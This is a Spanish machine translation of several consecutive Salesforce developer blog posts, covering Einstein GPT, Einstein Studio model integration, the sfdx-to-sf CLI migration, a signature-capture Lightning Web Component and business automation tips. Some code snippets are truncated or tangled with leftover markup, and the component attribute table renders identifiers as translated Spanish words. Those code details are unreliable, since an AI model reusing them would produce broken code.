Recién estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere código LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalización predictiva de código en línea: complete automáticamente la siguiente línea de código sugerida con metadatos contextuales del proyecto.
  • Verificación del rendimiento del código: escanee el código Apex y corrija errores de tiempo de ejecución durante el proceso de desarrollo
  • Asistencia conversacional: Pídale a Einstein que genere código contextual y documentación, explique el código o resuelva problemas complejos.

Conclusión

A medida que Einstein GPT para desarrolladores amplíe sus capacidades para admitir LWC, proporcionar finalización de código inteligente y brindar asistencia conversacional, podrá desarrollar la plataforma Salesforce más rápido que nunca. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. ¡Únase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Traiga sus propios modelos de IA a la nube de datos ☁️

Traiga sus propios modelos de IA a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma fácil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos cómo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse fácilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como resúmenes de casos, respuestas de correo electrónico y descripciones de productos. Para obtener más información sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real y usar la información de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. También puede usar un modelo generativo para crear campañas de correo electrónico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

¿Por qué traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federación de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos rápidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimización de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatización de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en función de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos específicos en función de los datos de compromiso, como su historial de compras o actividad en línea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a través del canal más apropiado, incluido el correo electrónico, una aplicación móvil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como reseñas de destinos y previsiones meteorológicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qué destinos atraen a clientes específicos y generar recomendaciones de correo electrónico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cuándo es probable que un automóvil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campañas de marketing de los clientes en función de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicación para usar Einstein Studio con AWS SageMaker

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingeniería de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es específico de Data Wrangler. Pero, ¿qué sucede si es un científico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementación en un extremo de invocación.

Este extremo de invocación se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener más información sobre este flujo de trabajo, consulte el blog de AWS .

Cómo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con análisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aquí hay un flujo que usa una acción invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede llamar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice análisis ad hoc para obtener predicciones

Query API es otra forma rápida de obtener puntajes de predicción para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicción de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Einstein Studio es una plataforma de IA fácil de usar que permite a los equipos de ciencia e ingeniería de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que esté listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene más de 10 años de experiencia en la planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje automático y en la nube. Anteriormente trabajó en la industria de servicios financieros en la ciudad de Nueva York. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 2 ☁️

¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 2 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 2 | Blog de desarrolladores de Salesforce

La CLI (interfaz de línea de comandos) de Salesforce es la piedra angular del desarrollo de Salesforce y, como cualquier otra herramienta, evoluciona con el tiempo. Esta publicación es la segunda de una serie de blogs de dos partes sobre sf (v2), la nueva y mejorada CLI de Salesforce. En la Parte 1 , echamos un vistazo a las novedades de sf (v2) y, en esta parte final, exploraremos los nuevos comandos de estilo sf y patrones de banderas y compartiremos cómo puede migrar desde comandos de estilo sfdx y patrones basados en banderas. en nuestra experiencia con aplicaciones de muestra . Si bien la migración puede parecer intimidante a primera vista, compartiremos algunos consejos sobre cómo facilitar la transición.

Conozca los comandos de estilo sf

Si ha estado usando la CLI durante algún tiempo, probablemente comenzó a notar una serie de advertencias en los comandos que usa con frecuencia, como este:

sfdx force:source:push
Warning: We plan to deprecate this command in the future. Try using the "project deploy start" command instead.»>

Estos cambios son el resultado del trabajo continuo en Salesforce CLI Unification que comenzó hace varios lanzamientos (más detalles en la primera parte de esta serie).

Desde entonces, cada vez que instala la CLI de Salesforce, obtiene los dos ejecutables ( sfdx y sf ). Puede usar cualquiera de estos ejecutables ya que la mayoría de los comandos son interoperables, pero le recomendamos que comience a usar sf en su trabajo diario para prepararse para el futuro.

Debido a que sf cubre más que solo el desarrollo de la plataforma central, ofrece una nueva taxonomía de comandos simplificada que refleja el flujo de trabajo de un desarrollador típico en lugar de las marcas, productos o funciones de Salesforce.

Un ejemplo práctico de esto es el comando sf org create . Con este nuevo comando, la intención es más clara: llamas a la misma base de comandos con scratch , sandbox , shape , snapshot o user , mientras que en sfdx tenías que usar una combinación de diferentes comandos ( force:org:create , force:user:create ) y flags ( --type=scratch o --type=sandbox ) para obtener el mismo resultado.

Otra característica interesante de sf es que incluye más comandos visuales e interactivos, como la creación de organizaciones con la capacidad de reanudar operaciones de larga duración en caso de tiempo de espera.

Migrar al ejecutable sf

Además de simplemente cambiar el nombre del ejecutable de sfdx a sf , hay una serie de cambios que se aplican a los comandos CLI al actualizar sus proyectos. La documentación de la CLI de Salesforce proporciona una buena descripción general de estos cambios, pero destacaremos los que nos afectaron durante la actualización de nuestras aplicaciones de muestra.

Comandos sfdx comunes y sus equivalentes sf

En primer lugar, el tema force se eliminó de la mayoría de los comandos, lo cual es una buena noticia, ya que acorta los comandos. El otro cambio importante es que los temas, comandos y subcomandos, que antes estaban separados por dos puntos como en sfdx force:org:list , ahora están separados por espacios, como en sf org list .

Mirando más de cerca los comandos que usamos a diario cuando trabajamos en aplicaciones de muestra, aplicamos los siguientes cambios:

Comando sfdx heredado Comando sf equivalente Migración Comentarios
sfdx force:org:delete -p -u recipes sf org delete scratch -p -o recipes Se debe agregar el subcomando scratch .
El indicador de la organización de destino cambia de -u a -o .
sfdx force:org:create -s -f config/project-scratch-def.json -d 30 -a recipes sf org create scratch -d -f config/project-scratch-def.json -y 30 -a recipes Se debe agregar el subcomando scratch .
El indicador "asignar organización predeterminada" cambia de -s a -d .
El indicador de duración de la organización borrador cambia de -d a -y .
sfdx force:source:push sf project deploy start Este es un cambio significativo, pero el nuevo comando funciona para todos los formatos de proyecto (fuente o metadatos).
Anteriormente, necesitaba comandos distintos.
sfdx force:user:permset:assign -n recipes sf org assign permset -n recipes El tema cambia de user a org y cambia el orden de los subcomandos.
sfdx force:data:tree:import -p data/data-plan.json sf data import tree -p data/data-plan.json
sfdx force:org:open -p lightning/n/Hello sf org open -p lightning/n/Hello
sfdx force:apex:test:run -c -r human -w 20 sf apex test run -c -r human -w 20

Si está buscando otros comandos, la documentación de CLI proporciona una lista completa de comandos sfdx con sus equivalentes sf . Cada vez que reemplace un comando, asegúrese de revisar sus banderas en busca de cambios, especialmente si usa las banderas de formato corto (un solo carácter) ( -o en lugar de --target-org por ejemplo). Puede ejecutar cualquier comando con el indicador -h o --help para obtener su descripción.

Automatice parte de la migración con expresiones regulares

ℹ️ Edición del 27 de julio de 2023: en lugar de expresiones regulares, puede usar un script de migración como se documenta aquí .

Cuando analizamos la migración de nuestros proyectos de aplicaciones de muestra , sabíamos que necesitaríamos automatizar parte del proceso, ya que había cerca de 1700 referencias a sfdx en más de 200 archivos. Para obtener los resultados más precisos aquí, asegúrese de agregar un espacio después de sfdx en su término de búsqueda y excluya la carpeta node_modules de su búsqueda, como hicimos aquí:

Comenzar con una búsqueda es un buen primer paso. Le ayuda a darse cuenta de que tendrá que migrar sus comandos en un par de lugares, como:

  • Scripts de integración continua
  • Guiones de desarrollo local
  • Documentación

Luego puede ir más allá experimentando con una búsqueda y reemplazo de expresiones regulares (RegEx) en VS Code. Este enfoque es una forma rápida de iniciar la migración. Funciona bien para la búsqueda, pero no es perfecto como reemplazo, ya que algunos comandos requieren actualizaciones manuales. En cualquier caso, siempre pruebe el resultado de sus cambios antes de enviarlos a producción.

Comience ejecutando esta búsqueda RegEx y reemplace:

Tenga en cuenta el uso de tres grupos de captura encerrados entre paréntesis en la expresión de búsqueda y representados por signos de dólar seguidos de un número en la expresión de reemplazo. Los grupos de captura le permiten retener dinámicamente ciertos valores (palabras como temas, comandos y subcomandos en nuestro caso) mientras realiza cambios en el resto de la línea (reemplazando los separadores de dos puntos con espacios en nuestro caso).

Si desea obtener más información sobre este RegEx u otros, le recomiendo que consulte regex101.com , ya que proporciona una explicación de la sintaxis y un campo de juego para probar expresiones.

Aquí hay un ejemplo de la entrada y salida en VS Code de la expresión anterior (no olvide activar el modo RegEx como lo indica la flecha roja):

Notará que esta primera ronda de búsqueda y reemplazo no es perfecta ya que obtiene algunos caracteres de espacio adicionales en el texto reemplazado. Puede arreglar esto fácilmente ejecutando una segunda operación RegEx de búsqueda y reemplazo como esta:

Una vez que ejecute este último RegEx, todavía hay un par de cambios manuales que necesitará para operar. Como vimos anteriormente en la tabla de equivalencia de comandos, estas son las cosas clave a tener en cuenta:

  • Algunos comandos usan diferentes temas y subcomandos. Por ejemplo, sf user assign permset es incorrecto: user debe ser reemplazado por org .
  • Algunas banderas necesitan ser cambiadas. Por ejemplo, sf org create scratch -s -f config/project-scratch-def.json -d 30 -a recipes es incorrecto: el indicador -d debe reemplazarse por -y y el indicador -s debe reemplazarse por -d .

Afortunadamente, la mayoría de estos cambios no son demasiado difíciles de aplicar y puede migrar con bastante rapidez a los comandos de estilo sf . Lo dejaremos con una vista de diferencias de GitHub que resume todos los cambios que fueron necesarios para migrar una de nuestras aplicaciones de muestra.

palabras de cierre

Eso es un resumen de esta breve descripción general de la migración de los comandos sfdx -style a los comandos sf -style. Vislumbró el beneficio del ejecutable sf y su nueva sintaxis. Esperamos que se beneficie de nuestra experiencia de migración y de nuestros consejos al actualizar sus proyectos.

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles ☁️

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles | Blog de desarrolladores de Salesforce

¿Alguna vez ha necesitado recopilar una firma electrónica sobre la marcha? Tal vez necesite verificar un pago, asegurarse de que se procesen transacciones exitosas o incluso actualizar los registros después de que se haya completado un servicio. Una firma electrónica es útil como paso de verificación de muchas maneras. Permitir que los trabajadores de campo capturen firmas sobre la marcha es uno de los casos de uso móvil más comunes que escuchamos de nuestros clientes. Por lo tanto, me complace compartir que hemos creado un componente web Lightning de muestra que le permite capturar firmas y adjuntarlas a un registro de Salesforce. Si bien creamos esto para casos de uso móvil, no hay nada que le impida usarlo también en computadoras de escritorio con pantalla táctil. Trabajar con el LWC de captura de firmas Veamos un ejemplo en acción. Dreamhouse es una aplicación de muestra de bienes raíces ficticia que se puede usar para web y dispositivos móviles. Los agentes de bienes raíces, cuando están en el proceso de cerrar un trato, deben poder capturar el nombre y la firma del comprador para asociarlos con la propiedad que se vendió. Para hacer esto, los desarrolladores de Dreamhouse pueden utilizar un nuevo componente LWC de muestra que hemos creado. ¡Vamos a sumergirnos en él!

Configuración de la configuración de LWC

Para nuestro requisito Dreamhouse anterior, debemos poder recopilar el nombre y la información de la firma del LWC. Esto se puede hacer a través de tres pasos.

  1. Configure su diseño HTML LWC
  2. Configura tus estilos LWC
  3. Conecte su interfaz con las API de JavaScript de LWC

¡Vamos a sumergirnos en más detalles sobre los pasos!

1. Configure su diseño HTML de LWC

Para comenzar, vaya a la sección NameAndSignatureCapture del directorio de muestra de LWC en GitHub. Luego, copie el componente signaturePad en la carpeta lwc de su proyecto. Después de copiar el código del componente de muestra, puede hacer referencia al componente escribiendo <c-signature-pad> y establecer sus atributos para configurarlo.

<dx-code-block title language="html" code-block="

«>

2. Configura tus estilos LWC

A continuación, los estilos de la interfaz también se pueden ajustar para satisfacer sus necesidades. Para nuestra demostración de Dreamhouse, importemos una nueva familia de fuentes. Para hacer esto, simplemente configure los estilos para su componente LWC como se ve a continuación.

También puede personalizar el diseño del LWC a su gusto haciendo referencia a la clase adecuada y los atributos HTML.

3. Conecte su interfaz con las API de LWC

Por último, debemos asegurarnos de que la firma sea capturada correctamente por el LWC. A los efectos de nuestro ejemplo Dreamhouse, queremos poder guardar la firma proporcionada por el usuario final.

El SignaturePad LWC que proporcionamos se puede configurar para capturar datos y personalizar la interfaz a través de las API de JavaScript y sus atributos HTML correspondientes. Para hacer esto, simplemente invoque los métodos API y conéctelos a sus atributos HTML correspondientes en el <c-signature-pad> . Consulte la lista a continuación para el atributo HTML y las asignaciones de la API de JavaScript

Funcionalidad Descripción Atributo HTML = "tipo" API de JavaScript (Tipo)
Habilitar firma de nombre Permite a los usuarios finales escribir su nombre y devuelve un texto para firmar generado automáticamente a medida que los usuarios escriben su nombre. enable-name-signing=”booleano” enableNameSigning(booleano)
Habilitar dibujo de firma Le permite solicitar a los usuarios finales que dibujen su propia firma personalizada en el panel de firma proporcionado. habilitar-firma-dibujo = "booleano" enableSignatureDrawing (booleano)
Grosor de trazo característico Personalice el grosor del trazo del lápiz en las capturas de firma electrónica. trazo-grosor = "entero" grosor del trazo (entero)
Color de la pluma de firma Personalice el color de tinta del bolígrafo que se proporciona al usuario final. bolígrafo-color=”Cadena” plumaColor(Cadena)
Color de la almohadilla de firma Personalice el color del pad de firma que ve el usuario final. pad-color=”Cadena” padColor(Cadena)
Color de fuente de la firma Personaliza la fuente de la firma. fuente-color = "Cadena" font.color=Cadena
Configuración de una etiqueta de campo de entrada Establezca una etiqueta para el nombre del campo de entrada. nombre-entrada-etiqueta=”Cadena” nombreInputLabel=”Cadena”
Configuración de una etiqueta de almohadilla Establezca un nombre para la etiqueta sobre el panel de firma. nombre-entrada-etiqueta=”Cadena” nombreInputLabel=”Cadena”
Guardar firma Permite guardar una firma autogenerada y/o personalizada. onclick={guardar firma} pad.getSignature()
Firma clara Permite eliminar la firma anterior si es necesario volver a hacerlo. onclick={clarar Firma} pad.clearSignature()

Tenga en cuenta que también agregamos un método clearSignature y saveSignature para permitir borrar y guardar firmas respectivamente. Puede hacer esto configurando sus propios métodos de JavaScript que se conectan a pad.setSignature() y pad.clearSignature() . Estos se pueden conectar a los componentes <lightning-button> . Veamos un ejemplo de esto a continuación.

Ahora que tenemos los métodos de JavaScript identificados, veamos algunos de ellos en acción. Esto se puede hacer usando el siguiente JavaScript.

{ if (font.family === "Great Vibes" && font.status === "unloaded") { // Ensure that the font is loaded so that signature pad could use it. // If you are using a different font in your project, don’t forget // to update the if-condition above to account for it. font.load(); } }); } saveSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { const dataURL = pad.getSignature(); if (dataURL) { // At this point you can consume the signature, for example by saving // it to disk or uploading it to a Salesforce org/record. // Here we just preview it in an image tag. this.imgSrc = dataURL; } } } clearSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { pad.clearSignature(); } this.imgSrc = null; }
} «>

Tenga en cuenta que agregamos un método clearSignature que se invoca cuando se hace clic en el botón Borrar, así como un método saveSignature que se invoca cuando se hace clic en el botón Guardar.

Algo a destacar sobre el componente es que responde completamente a los cambios de tamaño y orientación. También tenga en cuenta que el componente de captura de firmas ha sido diseñado para funcionar en la web, el panel táctil o el lápiz para dispositivos móviles o tabletas.

Además, Signature Capture LWC es compatible con la web y los dispositivos móviles y es la solicitud más común utilizada en la aplicación móvil Salesforce , así como en nuestra aplicación Mobile Test Harness . Eche un vistazo a la demostración a continuación para ver cómo se ejecuta en acción.

Conclusión

Esperamos que haya disfrutado de esta publicación de blog y que esté ansioso por usar las capacidades de captura de firma en su LWC para dispositivos móviles. Para empezar:

  • ¡Buceo en! Consulte nuestro repositorio GitHub de ejemplos móviles de LWC para ver y probar los ejemplos de LWC de las capacidades de captura de firmas en acción. Luego, una vez que esté familiarizado con los flujos…
  • ¡Personalízalo! Tome las muestras de Signature Capture LWC y amplíelas para personalizarlas según las necesidades de su negocio.
  • ¡Alcanzar! Si tiene alguna pregunta, comentario o idea, puede conectarse con nosotros en nuestra comunidad Salesforce Mobile Trailblazer .

Para obtener más información sobre nuestras ofertas móviles, consulte los siguientes enlaces:

Sobre el Autor


Ashwin Nair es un Product Manager en Salesforce que se enfoca en Salesforce Mobile. Actualmente está trabajando en Mobile Platform Experiences y ha estado en el espacio de desarrollo web y móvil durante más de siete años. Síguelo en LinkedIn .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

5 consejos para incorporar la automatización en su negocio

5 consejos para incorporar la automatización en su negocio

Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatización de las tareas rutinarias mejoraría su productividad. Sin embargo, el 52% de las empresas todavía tienen demasiados procesos y tareas manuales. La automatización empresarial puede ser la clave para cerrar esta brecha.

La automatización empresarial conduce a clientes leales , empleados más felices, mejor eficiencia y ahorro de costos. ¿Y qué mejor manera de trazar un camino hacia la automatización empresarial que aprender de aquellos que ya lo han hecho? ¿No está seguro de por dónde empezar con la automatización? Esto ayudará .

En un informe para Salesforce , IDC entrevistó a más de 1600 líderes empresariales y de TI, en varias industrias en Asia, Europa, América del Norte y América del Sur, sobre cómo han tenido éxito con la automatización en sus empresas. A partir de esta investigación de IDC, aquí hay cinco consejos que puede usar para ayudar a incorporar la automatización en su propia práctica.

Acelere la automatización como los profesionales

Escuche a más de 1600 líderes empresariales y de TI de todo el mundo sobre las tendencias de automatización y lo que pueden hacer por su empresa.

Tabla de contenido

Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa
Consejo 2: Cree un centro de automatización de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque ágil para la automatización empresarial
Sugerencia 5: use código bajo para acelerar el tiempo de comercialización

Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa

Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de múltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un análisis cualitativo, probablemente no sea un buen candidato para la automatización. Estos son los pasos para ayudarlo a comenzar.

1. Investiga

Para empezar, deberá determinar:

  • Qué proceso quieres transformar
  • Cuánto se tarda
  • Personas y departamentos involucrados
  • Sistemas y datos que posibilitan el proceso

2. Cuantificar los costos

Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:

  • ¿Cuánto más le cuestan las ineficiencias en tiempo extra del personal?
  • ¿Está pagando por envíos acelerados?
  • ¿Está contabilizando las horas extra de los contratistas?
  • ¿Existen costes negativos en la experiencia del cliente?

3. Definir el estado deseado

Para definir su estado deseado, deberá ingresar a los detalles de su proceso automatizado. Aquí hay algunas preguntas para hacer:

  • ¿Cómo será su nuevo proceso?
  • ¿Quién debería estar involucrado?
  • ¿Cuánto tiempo debe tomar el proceso automatizado?

Recuerde incorporar los comentarios de los clientes en este paso.

4. Elige las herramientas adecuadas

Al elegir herramientas de automatización empresarial, es importante seleccionar proveedores con una reputación estelar en procesos comerciales y automatización de flujos de trabajo, que también pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:

  • ¿Qué dicen los clientes (o clientes descontentos) sobre las herramientas?
  • ¿Tiene las características que su equipo necesita para tener éxito?
  • ¿Ofrece incorporación y atención al cliente durante toda la vida útil del servicio?

SUGERENCIA PROFESIONAL: asegúrese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificación extensa.

5. Probar, implementar, evaluar

Ahora que ha seleccionado una herramienta y automatizado su proceso, está listo para comenzar. Por supuesto, deberá probar su nuevo proceso antes de implementarlo. Así es como descubrirá si necesita refinarlo o modificarlo.

Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:

  • ¿Cuánto tardan los usuarios en completar los flujos de trabajo automatizados?
  • ¿La experiencia del usuario o del cliente está a la altura de sus expectativas?
  • ¿Sigue siendo el costo un problema?

Consejo 2: Cree un centro de automatización de excelencia

Un centro de excelencia de automatización (COE) puede marcar la diferencia en su viaje hacia la transformación digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatización . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.

Así es como puede configurar su COE de automatización para el éxito:

  1. Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y estén listas para defender las mejoras del proceso. Asegúrese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
  2. Desarrollar un marco de automatización. Para optimizar su inversión en automatización, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
  3. Defina una hoja de ruta de automatización. La automatización empresarial no es un evento singular. Cree una hoja de ruta de automatización, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobación de las partes interesadas clave.
  4. Ejecutar flujos de trabajo de automatización . Esta es la parte táctica del trabajo del COE. Identifique los puntos débiles, priorícelos y supervise la automatización de procesos.
  5. Mide el éxito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.

Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados

Aunque los recursos de TI de calidad son difíciles de encontrar, la acumulación de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % más en 2023 que en 2022.

La automatización de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.

Aquí hay algunos procesos con los que la automatización empresarial puede ayudar, para diferentes equipos:

  • Operaciones de TI : monitoreo de sistemas, seguridad de red, implementación de infraestructura
  • Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
  • Gestión de activos : aprovisionamiento de activos, desmantelamiento, auditoría, informes
  • Gestión de datos : copia de seguridad y redundancia de datos, limpieza de datos

¿Quién debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatización:

  • 72% dijo que los desarrolladores de TI
  • 65% dijo operaciones de TI
  • 49% dijo administradores de aplicaciones
  • 42% dijo integradores de sistemas

La TI juega un papel fundamental para asegurarse de que se implementen la estrategia y la visión del negocio. Trabajando en estrecha colaboración con TI, pasamos de 6 a 12 meses de nuestro tiempo de comercialización con nuestros sistemas a solo días con una nueva experiencia de automatización.

Director de la división de gestión patrimonial,
servicios financieros

Automatización: tendencias, desafíos y mejores prácticas , IDC

Consejo 4: utilice un enfoque ágil para la automatización empresarial

El enfoque tradicional de “cascada”, en el que el análisis, la especificación, el diseño y las pruebas se realizan de forma secuencial, no funciona bien para la automatización empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementación cuando surja un problema grave, como un diseño que no se puede escalar.

La metodología ágil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayoría de los desarrolladores de software la usan, la metodología ágil no es solo para desarrolladores. Su ciclo continuo de planificación, ejecución, evaluación y mejora se puede aplicar a la automatización de procesos comerciales. Una de sus mayores ventajas es que reúne equipos multifuncionales que planifican, prueban, implementan y rediseñan procesos automatizados en ciclos de liberación rápida.

Código bajo, mucho tiempo de comercialización

Elija una plataforma de código bajo que funcione para usted. Nuestra guía lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.

Sugerencia 5: use código bajo para acelerar el tiempo de comercialización

¿A quién no le gusta una integración empresarial y de TI más estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de código bajo , un enfoque de desarrollo que requiere poca o ninguna codificación para crear aplicaciones y procesos, para potenciar la automatización.

